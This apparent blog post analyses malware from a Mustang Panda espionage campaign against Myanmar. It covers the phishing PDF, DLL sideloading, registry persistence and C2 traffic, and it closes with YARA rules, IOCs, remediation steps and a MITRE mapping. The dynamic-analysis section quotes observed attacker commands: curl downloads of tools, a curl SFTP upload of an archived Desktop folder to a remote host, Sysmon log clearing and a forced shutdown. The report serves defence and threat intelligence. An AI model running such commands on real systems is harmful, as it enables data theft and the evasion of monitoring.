https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Red Shadows over Yangon: Analyzing TONESHELL Malware from Mustang Panda’s Campaign Against Myanmar By Pyae Heinn Kyaw Published: 2025-09-07 · Archived: 2026-05-22 02:00:55 UTC Analysts: Pyae Heinn Kyaw, Kaung Zaw (Maris) Date: 07 Sept 2025 Executive Summary This report details a targeted malware campaign attributed to Mustang Panda, a Chinese APT group, leveraging a supposed compromised Myanmar embassy email to deliver malware against Myanmar’s entities. The campaign begins with a phishing email containing a seemingly benign PDF attachment. While the PDF itself is not malicious, it contains an embedded URL that leads to the download of a compressed archive ( Call Notes.zip ). Inside the archive are two files: Call Notes.exe and SolidPDFCreator.dll . The Call Notes.exe binary employs multiple whitespace characters in its filename to obscure the .exe extension and is assigned a PDF icon, effectively masquerading as a legitimate document. Once executed, the malware sideloads SolidPDFCreator.dll , establishes persistence via registry Run keys and executes additional payloads. Subsequent activity includes system reconnaissance, collection of user data and exfiltration via SFTP to a remote server. The malware also exhibits defense evasion behaviors. Evidence strongly suggests that Mustang Panda’s operations in this campaign align with broader Chinese state interests. Threat Landscape & Attribution Mustang Panda (aka Bronze President, TA416) is a well-documented Chinese APT group known for targeting Southeast Asian governments, NGOs, and dissident groups. This campaign leverages Mustang Panda’s classic TTPs: DLL sideloading, use of cloud storage for staging, and data exfiltration using built-in tools. The use of a legitimate Myanmar embassy mailbox for phishing significantly increases the credibility of the attack, raising the possibility of strategic alignment with Myanmar’s government interests. Page 1 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 1: Attack Chain The intrusion chain begins with a phishing email containing a seemingly benign PDF attachment. While the document itself is not malicious, it includes an embedded URL that hosts the malware payload. When the recipient clicks the link, a compressed archive ( Call Notes.zip ) is downloaded. Inside the archive are two components: Call Notes.exe and SolidPDFCreator.dll . The executable ( Call Notes.exe ) employs multiple whitespace characters in its filename to obscure the .exe extension and is assigned a PDF icon, effectively masquerading as a legitimate document to evade user suspicion. Page 2 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 2: Executable Masquerading as Legitimate Document By Adding Whitespaces Picture 3: Executable with PDF Icon Email Attachment Analysis Examination of the attachment with peepdf identified the presence of a suspicious embedded URL. Picture 4: PDF Analysis with PEEPDF The embedded link automatically downloads a ZIP archive containing two components: an executable file ( .exe ) and a dynamic-link library ( .dll ). Picture 5: PDF Analysis with PDF-PARSER Page 3 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 6: Metadata of PDF File Files Overview Call Notes SIze: 1,574,184 bytes Signature: Solid Documents (Expired on 23 Nov 2014) Type: PE32 Compiler: Microsoft Visual C/C++ SHA256: FCF4EFA82D477C924D42CC6B71AA672AB2381CA256769925AE34DABE2E77E025 Picture 7: Detect it Easy (Call Notes.exe) Page 4 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ SolidPDFCreator.dll SIze: 128,512 bytes Type: PE32 (DLL) Compiler: Microsoft Visual C/C++ SHA256: 564A03763879AAED4DA8A8C1D6067F4112D8E13BB46C2F80E0FCB9FFDD40384C Picture 8: Detect it Easy (SolidPDFCreator.dll) Static Analysis EXE (Call Notes.exe) Findings Masquerading Technique: The filename is padded with whitespace before the .exe extension, and the file uses a PDF icon to trick users into mistaking it for a harmless document—serving as a social engineering vector. Type: PE32 GUI executable, statically linked with MFC libraries. Imports: SolidPDFCreator.dll (6 functions) Standard system APIs ( KERNEL32.dll , USER32.dll , ADVAPI32.dll , etc.) Debug Info: Contains a PDB path referencing SolidPDFCreator . Strings: No notable strings identified. Threat Intelligence: Google has attributed this malware campaign to Mustang Panda. Page 5 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 9: CFF Explorer (Import Directory of Call Notes.exe) Page 6 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 10: CAPA Result (Call Notes.exe) Picture 11: StringSifter Result (Call Notes.exe) Picture 12: VirusTotal Result (Call Notes.exe) DLL (SolidPDFCreator.dll) Findings Exports (6): ParseCommandLine , SupportInfo , AfsSetMainWnd , and several decorated functions ( DeleteJob , GetSPApp , etc.). Imports: Standard Windows APIs, including KERNEL32.dll , ADVAPI32.dll , and USER32.dll . Strings: Notable entries include Software\Microsoft\Windows\CurrentVersion\Run and the staging location C:\ProgramData\IDM\logs\ . FLOSS: Reports some decoded strings along with several unknown strings. Code Injection / Self-Modification: The act of making a memory region both writable and executable is a potential indicator of malicious behavior. Malicious software such as exploit code, self-unpacking malware, or shellcode commonly uses VirtualProtect to alter memory permissions, inject code, and execute it. This is a well-established technique for runtime code injection. Keylogging: API imports and function usage suggest monitoring user input (e.g., GetAsyncKeyState , MapVirtualKeyExW , GetKeyNameTextW ), consistent with a keylogging capability. This functionality would enable the malware to capture keystrokes for credential theft or surveillance. Page 7 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 13: CFF Explorer (Export Directory of SolidPDFCreator.dll) Picture 14: CFF Explorer (Import Directory of SolidPDFCreator.dll) Page 8 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 15: CAPA Result (SolidPDFCreator.dll) Page 9 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 16: StringSifter Result (SolidPDFCreator.dll – Persistence) Picture 17: FLOSS Decoded Strings Page 10 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 18: IDA Disassembly Result (SolidPDFCreator.dll – Persistence) Page 11 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 19: IDA Disassembly Result (SolidPDFCreator.dll) Dynamic Analysis The Call Notes.exe file drops two additional components – MediumInstStart.exe and SolidPDFCreator.dll into the C:\ProgramData\IDM\Logs\ directory. These binaries are functionally identical to the original Call Notes.exe and SolidPDFCreator.dll samples under analysis. Page 12 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 20: Sysmon Event ID 11 (FileCreate) Picture 21: Folder & File Creation in ProcMon The malware achieves persistence by writing a Registry Run key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run , enabling automatic execution upon system startup. Page 13 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 22: Sysmon Event ID 13 (RegistryEvent) Picture 23: Registry Creation in ProcMon The following entry was created under the RunNotification key: HKCU\Software\Microsoft\Windows\CurrentVersion\RunNotification\StartupTNotiMediumNetMonIt = 0x00000001 Picture 24: RunNotification Key (RegShot) Prefetch analysis further confirms the referenced directories and files from Call Notes.exe . Page 14 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 25: Prefetch Analysis (Call Notes.exe) Picture 26: Prefetch Analysis (Call Notes.exe) The Call Notes.exe sample established an outbound HTTPS connection to the command-and-control (C2) server at 146[.]70[.]29[.]229. Due to encryption, the contents of the traffic could not be directly inspected. The connection persisted for several hours before the malware proceeded to execute additional commands, indicating a potential staging or beaconing phase prior to tasking. Page 15 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 27: Connection Between Sandbox Machine and C2 Server Picture 28: Outbound HTTPS Connection in ProcMon During execution, Call Notes.exe spawns cmd.exe and issues a sequence of system and network commands. These actions reflect a structured workflow of tool staging, reconnaissance, collection, exfiltration, and anti-forensics. Executed Commands and Intentions: 12:00:51 PM – curl Invoked for network connectivity testing and/or tool retrieval. 12:01:06 PM – fsutil fsinfo drives Enumerates logical drives on the system to identify available storage locations. 12:01:26 PM – arp -a Displays the ARP cache to map local subnet hosts and potential lateral movement targets. 12:01:37 PM – curl -4 ifconfig.co/json Queries an external service to obtain the system’s public IP address and geolocation data. 12:01:48 PM – ipconfig /all Collects detailed local network configuration, including IPs, DNS servers, and MAC addresses. 12:02:52 PM – curl  -skL "hxxps[://]drive[.]usercontent[.]google[.]com/download?id=[redacted]&export=download&confirm=t&uu Downloads rar.exe from Google Drive, staging a compression utility for data collection. 12:03:24 PM – rar a -r heinn.rar C:\Users\heinn\Desktop\* Archives the contents of the Desktop folder into a RAR archive (heinn.rar) for staging prior to exfiltration. Page 16 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ 12:04:32 PM – curl  -u : -m 360 --connect-timeout 10 --retry 36 -s -k -C - -T heinn.rar sftp[://]202[. Exfiltrates the archive to a remote SFTP server using hardcoded credentials. 12:05:02 PM – curl  -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0" --retry 3 -m 60 -- Retrieves an additional copy of curl.exe from Google Drive, likely as redundancy if the native version is unavailable. 12:05:12 PM – curl  -u : -m 360 --connect-timeout 10 --retry 36 -s -k -C - -T heinn.rar sftp[://]202[. Reattempts data exfiltration, demonstrating persistence in ensuring successful transfer. 12:08:36 PM – wevtutil el Enumerates available Windows event logs. 12:08:36 PM – findstr "sysmon" Searches for Sysmon logs to identify enhanced monitoring tools in use. 12:09:10 PM – wevtutil cl "Microsoft-Windows-Sysmon/Operational" Clears Sysmon logs to remove forensic traces of activity. 12:14:09 PM – tasklist /v Lists all running processes with verbose details, likely for security software or analyst tool detection. 12:14:38 PM – net use Enumerates mapped network drives, identifying accessible network resources. 12:14:42 PM – net share Lists current file shares to assess available shared folders. 12:14:43 PM – net1 share Redundant command to enumerate network shares, confirming available shared resources. 12:14:45 PM – shutdown -s -t 0 Following this command sequence, all files within the my machine’s shared folder were deleted, and the system was forcibly shut down. This behavior likely served one of two purposes: 1. Anti-forensics: Preventing analysts from recovering artifacts by memory forensics or file system review. 2. Analyst Disruption: Deliberately sabotaging the environment once the malware detected signs of analysis, thereby hindering further investigation. During multiple executions of the malware, we observed significant variation in the command sets issued to the infected host. For example, in one run the malware executed reconnaissance commands such as fsutil fsinfo drives , ipconfig /all , and net share , while in another execution additional anti-forensic commands such as wevtutil cl "Microsoft- Windows-Sysmon/Operational" were observed. This inconsistency indicates that the malware is not operating from a fixed, pre-programmed script. Instead, it is receiving tasking dynamically from its command-and-control (C2) infrastructure at 146[.]70[.]29[.]229:443 . The differences strongly suggest hands-on-keyboard operator involvement, a hallmark of advanced persistent threat (APT) tradecraft. Such interactive C2 activity enables the attacker to: Tailor reconnaissance commands based on the environment, Deploy additional tools as needed (e.g., downloading rar.exe and curl.exe from Google Drive), Execute data exfiltration selectively, Perform anti-forensics by wiping event logs and, in one case, deleting files from shared folders and shutting down the system. This level of operator engagement demonstrates that the intrusion campaign is active, targeted, and responsive, rather than an indiscriminate malware infection. It aligns with known Mustang Panda TTPs, where automated initial access is followed by interactive operator-driven actions to maximize impact and hinder analysis. Page 17 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Picture 29: Process Tree of Call Notes.exe (ProcMon) Picture 30: Process Tree of Call Notes.exe (ProcMon) Picture 31: Connection Between Sandbox Machine and FTP Server Page 18 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Memory Forensics A memory image was successfully captured after several controlled executions of the malware. Volatility and static inspection revealed multiple malicious artifacts, including DLL sideloading, synchronization primitives, and registry abuse. These findings provide clear evidence of persistence, execution control, and anti-forensic intent. DLL Sideloading The primary loader ( Call Notes.exe ) sideloaded a malicious DLL ( SolidPDFCreator.dll ). This DLL was loaded into memory under the context of the dropped executable ( MediumInstStart.exe ), confirming the abuse of DLL search order hijacking for execution. Picture 32: Memory Forensics (DLL Sideloading) Synchronization Objects The malware created multiple synchronization objects during runtime, likely for execution control and preventing duplicate infections: Mutex: WilStaging_02 Semaphore: WilStaging_02_p0 Event: ghdudfxctysvac (randomly generated) Picture 33: Memory Forensics (Mutex) Picture 34: Memory Forensics (Semaphore) Picture 35: Memory Forensics (Event) Registry-Based Persistence Attempt Page 19 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Volatility’s handles plugin revealed that the malicious process (PID 5952) accessed multiple sensitive registry locations: HKLM\SYSTEM\ControlSet001\Control\Session Manager HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options HKLM\SOFTWARE\Microsoft\OLE HKU\S-1-5-21-302886374-4026673656-2035934985-1001\Software\Microsoft\Windows The presence of the Image File Execution Options (IFEO) key is particularly notable. IFEO manipulation is a known technique for establishing stealth persistence by forcing legitimate executables to launch malicious payloads. Picture 36: Memory Forensics (Registry Events) Detection (YARA) rule Call_Note_PDF { meta: description = "Mustang Panda: Call Notes Malware" date = "2025-09-06" strings: $pdf1 = "%PDF" $pdf2 = "/URI" nocase $pdf3 = "app.box.com" nocase $pdf4 = "box_download_shared_file" nocase $pdf5 = "uhq1ltiwxm500hjwa3uj9ihs2ooa2dsc" nocase condition: uint16(0) == 0x5025 and filesize < 200KB and all of ($pdf*) } /* ------------------------------------------------------------------------- */ rule Call_Notes_Exe { meta: description = "file Call Notes.exe" date = "2025-09-06" strings: $exe1 = "C:\\AutoBuildCC\\build\\SolidPDFCreator\\" ascii wide $exe2 = "SolidPDFCreator.pdb" ascii wide $exe3 = "SolidPDFCreator.dll" ascii wide condition: uint16(0) == 0x5a4d and filesize < 2000KB and 2 of ($exe*) } /* ------------------------------------------------------------------------- */ rule SolidPDFCreator_Dll { meta: description = "file SolidPDFCreator.dll" Page 20 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ date = "2025-09-06" strings: $dll1 = "C:\\ProgramData\\IDM\\logs\\" ascii wide $dll2 = "MediumNetMonIt" ascii wide $dll3 = "MediumInstStart.exe" ascii wide condition: uint16(0) == 0x5a4d and filesize < 300KB and 2 of ($dll*) } Picture 37: YARA Rule Detection persistence and execution. Indicators of Compromise (IOCs) Download URL File Location SolidPDFCreator.dll Call Notes.exe (OR) MiediumInstStart.exe Registry Registry C2 Address Exfiltration (SFTP) Mutex Event Tools Used Static Analysis 1. PEStudio 2. Detect it Easy 3. CAPA 4. StringSifter 5. FLOSS 6. VirusTotal Enterprise 7. IDA Free 8. Sysmon 9. Peepdf 10. pdf-parser.py 11. PECmd The YARA scan results indicate that the malware replicated itself into directories accessible by all users, ensuring broader hxxps[://]app[.]box[.]com/index[.]php? rm=box_download_shared_file&shared_name=uhq1ltiwxm500hjwa3uj9ihs2ooa2dsc&file_id=f_197272 C:\ProgramData\IDM\logs SHA256: 564A03763879AAED4DA8A8C1D6067F4112D8E13BB46C2F80E0FCB9FFDD40384C SHA256: FCF4EFA82D477C924D42CC6B71AA672AB2381CA256769925AE34DABE2E77E025 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MediumNetMonIt HKCU\Software\Microsoft\Windows\CurrentVersion\RunNotification\StartupTNotiMediumNetMonIt: 0x00000001 146[.]70[.]29[.]229:443 202[.]59[.]10[.]106:22 WilStaging_02 ghdudfxctysvac Page 21 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Dynamic Analysis 1. ProcMon 2. RegShot 3. AutoRuns 4. Wireshark Memory Acquisition & Analysis 1. FTK Imager 2. Volatility Recommendations Because this campaign involves an active operator controlling the C2 server, the malware’s behavior and artifacts may vary across executions. Cleanup should therefore follow a systematic, forensic-informed approach rather than relying on fixed file or registry paths. Recommended steps include: 1. Isolate the Host Immediately disconnect the affected machine from the network to prevent further C2 communications and operator-driven actions. 2. Collect Evidence Before Cleanup Acquire memory dumps, disk images, and relevant log files for forensic analysis. This preserves volatile evidence of the operator’s activity. 3. Remove Malicious Files and Directories Delete suspicious executables and DLLs (e.g., Call Notes.exe , MediumInstStart.exe , SolidPDFCreator.dll ) from directories such as C:\ProgramData\IDM\logs\ . Search for additional dropped files across user and public directories, as operators may alter file locations. 4. Inspect and Clean Registry Keys Review persistence mechanisms under: HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\RunNotification Remove entries associated with MediumNetMonIt or similarly anomalous values. 5. Check for Scheduled Tasks and Services (Optional) Audit Task Scheduler for unknown or hidden tasks created by the malware. Inspect Windows services for modifications or newly added malicious services. 6. Verify System Integrity Run sfc /scannow and/or third-party integrity tools to identify corrupted or replaced system files. 7. Perform Network and Account Remediation Reset potentially compromised credentials. Block identified C2 infrastructure (e.g., 146[.]70[.]29[.]229 ) at the firewall or proxy. 8. Rebuild if Necessary If compromise is severe, consider a full system reimage to ensure complete removal and prevent hidden persistence. MITRE ATT&CK Mapping Initial Access Spearphishing Link – T1566.002 Evidence: Legitimate embassy account sent a PDF that contained an embedded URL leading to the malware download (ZIP with Call Notes.exe + SolidPDFCreator.dll ). Execution Page 22 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ User Execution – Malicious Link – T1204.001 Evidence: User must click link in PDF to fetch ZIP and run Call Notes.exe . User Execution – Malicious File – T1204.002 Evidence: Operator relies on the user to launch Call Notes.exe disguised as a PDF. Hijack Execution Flow: DLL Side-Loading – T1574.002 Evidence: Call Notes.exe loads SolidPDFCreator.dll (fake Solid PDF component) with exported functions ( ParseCommandLine , SupportInfo , AfsSetMainWnd , GetSPApp , DeleteJob ). Command Shell – T1059.003 Evidence: MediumInstStart.exe spawns cmd.exe and executes various commands. Persistence Registry Run Keys / Startup Folder – T1547.001 Evidence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run[MediumNetMonIt] (and RunNotification variant) from Regshot and memory handles. Image File Execution Options Injection – T1546.012 Evidence: Volatility handles shows …\IMAGE FILE EXECUTION OPTIONS keys opened by the process; intent to attach debuggers/redirect execution. Defense Evasion Masquerading – T1036 Evidence: File name padded with whitespace to obscure .exe ; PDF icon used to mimic a document. Obfuscated/Compressed Files & Information – T1027 Evidence: CAPA reports stack strings/argument obfuscation in the DLL; use of archives ( rar.exe ) for staging. Modify Registry – T1112 Evidence: Creation of Run / RunNotification ; IFEO keys. Indicator Removal: Clear Windows Event Logs – T1070.001 Evidence: wevtutil el enumeration, findstr "sysmon" , and wevtutil cl "Microsoft-Windows- Sysmon/Operational" . System Binary Proxy / LOLBins (Living-off-the-Land) – T1218 / T1036 (conceptual) Evidence: Use of native wevtutil , net , fsutil and downloaded legitimate tools ( curl.exe , rar.exe ) to blend in. Executable Code Obfuscation / RWX Memory – (maps to) T1055 Process Injection & T1620 Reflective Techniques Discovery Evidence: VirtualProtect to set RWX and CreateThreadpoolWait System Network Configuration Discovery – T1016 Evidence: ipconfig /all ; external IP check curl -4 ifconfig.co/json . Network Share Discovery – T1135 Evidence: net use , net share , net1 share . Peripheral/Drive Discovery – T1120 / File & Directory Discovery – T1083 (legacy) Evidence: fsutil fsinfo drives ; enumeration of local storage. Query Registry – T1012 Evidence: Multiple registry queries during execution (ProcMon); IFEO keys. Software Discovery / Process Discovery – T1518 / T1057 Evidence: tasklist /v ; reconnaissance for security tooling (Sysmon search). ARP/Local Network Discovery – T1049 Evidence: arp -a to enumerate local L2 neighbors. Collection Page 23 of 24 https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Keylogging – T1056.001 (from static imports) Evidence: GetAsyncKeyState , GetKeyboardState , ToUnicodeEx , MapVirtualKey* . Clipboard Data – T1115 (from static imports) Evidence: OpenClipboard , GetClipboardData / SetClipboardData , EmptyClipboard , IsClipboardFormatAvailable . Archive Collected Data – T1560.001 (Archive via Utility) Evidence: rar a -r C:\Users\…\Desktop\* . Command and Control Web Protocols – T1071.001 Evidence: HTTPS traffic to 146.70.29.229:443 from the sideloaded chain. Ingress Tool Transfer – T1105 Evidence: curl downloads rar.exe and curl.exe from Google Drive content delivery endpoints. Application Layer Protocol – T1071 (general) Evidence: Use of standard HTTPS to blend into normal traffic. Exfiltration Exfiltration Over Asymmetric Encrypted Non-C2 Protocol – T1048.002 Evidence: SFTP upload with credentials Impact Data Destruction – T1485 Evidence: Operator deleted contents of a shared folder post-collection (as reported in observed run). System Shutdown/Reboot – T1529 Evidence: Host was shut down following exfiltration/cleanup, likely to disrupt live/volatile forensics. Conclusion The analysis of Call Notes.exe and its associated components demonstrates that this malware is not designed for rapid financial gain or disruptive attacks, but rather for long-term surveillance and intelligence collection. Its use of DLL sideloading, registry-based persistence, in-memory code injection, and synchronization objects all point toward a stealthy design intended to evade detection. The functionality uncovered includes keylogging, clipboard monitoring, reconnaissance commands, system enumeration, and data exfiltration via SFTP shows a clear focus on monitoring user activity and extracting sensitive information. Additionally, the operator-driven C2 behavior observed during dynamic analysis indicates an interactive threat actor tailoring actions to the target environment. These characteristics are consistent with advanced persistent threat (APT) tradecraft. Attribution to Mustang Panda, coupled with targeting of Myanmar entities, underscores the likelihood that this malware is a state-aligned surveillance tool employed for espionage rather than common cybercrime. Post Views: 1,832 Post navigation Source: https://pyaeheinnkyaw.com/red-shadows-over-yangon-analyzing-malware-from-mustang-pandas-campaign-against-myanmar/ Page 24 of 24